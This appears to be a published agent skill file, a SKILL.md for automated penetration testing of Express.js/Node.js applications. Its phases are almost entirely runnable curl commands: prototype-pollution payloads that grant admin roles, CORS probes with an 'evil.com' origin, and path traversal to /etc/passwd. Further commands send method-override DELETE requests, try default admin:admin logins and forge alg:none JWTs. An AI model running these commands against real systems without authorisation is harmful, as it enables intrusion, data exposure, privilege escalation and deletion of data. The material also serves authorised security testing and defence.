<< All versions
Skill v1.0.0
currentLLM-judged scan90/100f-4alone/oh-my-open-pentest-qwen/framework-express
──Details
PublishedOctober 22, 2026 at 06:41 PM
Content Hashsha256:8db6e8657323f5a8...
Git SHA8abc741f165c
──Files
Files (1 file, 3.2 KB)
SKILL.md3.2 KBactive
SKILL.md · 105 lines · 3.2 KB
version: "1.0.0" name: framework-express description: "Express.js/Node.js security testing — prototype pollution, CORS misconfiguration, middleware bypass, npm dependency vulns, JWT abuse, path traversal via static serving, eval injection. Triggers: 'express', 'expressjs', 'node.js security', 'nodejs pentest', 'express middleware', 'node prototype pollution'."
Express.js Security Testing
Node.js/Express attack surface: prototype pollution, CORS, middleware bypass, npm vulns.
Phase 1: Fingerprinting
bash
TARGET="https://TARGET"# Detect Express/Nodecurl -sI "$TARGET" | grep -i "x-powered-by\|express\|node"# Check for common Express pathsfor path in /api /api/v1 /api/v2 /graphql /health /metrics /status /debug /admin; docode=$(curl -so /dev/null -w "%{http_code}" "$TARGET$path")echo "$code $path"done | tee /workspace/output/express-paths.txt# npm audit info leakcurl -s "$TARGET/package.json" | python3 -m json.toolcurl -s "$TARGET/package-lock.json" | python3 -m json.tool | head -50
Phase 2: Prototype Pollution
bash
# Test via query paramscurl -s "$TARGET/api/search?__proto__[admin]=true&__proto__[role]=admin" | jq .curl -s "$TARGET/api/data?constructor[prototype][admin]=1" | jq .# JSON body prototype pollutioncurl -s -X POST "$TARGET/api/merge" \-H "Content-Type: application/json" \-d '{"__proto__":{"admin":true,"role":"superuser"}}' | jq .# Verify pollution on subsequent request (check if server returns admin=true)curl -s "$TARGET/api/profile" | jq .
Phase 3: CORS Misconfiguration
bash
# Reflect arbitrary origincurl -sI "$TARGET/api/user" -H "Origin: https://evil.com" | grep "Access-Control"# Null origincurl -sI "$TARGET/api/user" -H "Origin: null" | grep "Access-Control"# Subdomain trustcurl -sI "$TARGET/api/user" -H "Origin: https://attacker.TARGET.com" | grep "Access-Control"
Phase 4: Middleware & Path Bypass
bash
# Path traversal via static servingcurl -s "$TARGET/static/../../../etc/passwd"curl -s "$TARGET/public/%2e%2e/%2e%2e/etc/passwd"curl -s "$TARGET/uploads/..%2f..%2fetc%2fpasswd"# Method override (express-method-override)curl -s -X POST "$TARGET/api/users/1" -H "X-HTTP-Method-Override: DELETE"curl -s -X POST "$TARGET/api/users/1" -H "_method=DELETE"# Check for exposed dev/debug routescurl -s "$TARGET/__coverage__"curl -s "$TARGET/test"curl -s "$TARGET/debug"
Phase 5: JWT & Session Attacks
bash
# Grab JWT from loginTOKEN=$(curl -s -X POST "$TARGET/api/login" \-H "Content-Type: application/json" \-d '{"user":"admin","pass":"admin"}' | jq -r '.token')# Decode headerecho "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool# Test alg:none# python3 -c "import base64,json; h=base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('='); p=base64.b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).decode().rstrip('='); print(f'{h}.{p}.')"# RS256→HS256 confusion# Use public key as HMAC secret
Output
Save to /workspace/output/:
express-paths.txt— API endpoint discoverycors-test.txt— CORS misconfig results
Next Phase
→ vuln-prototype-pollution for deep prototype pollution exploitation → vuln-cors for CORS exploitation chain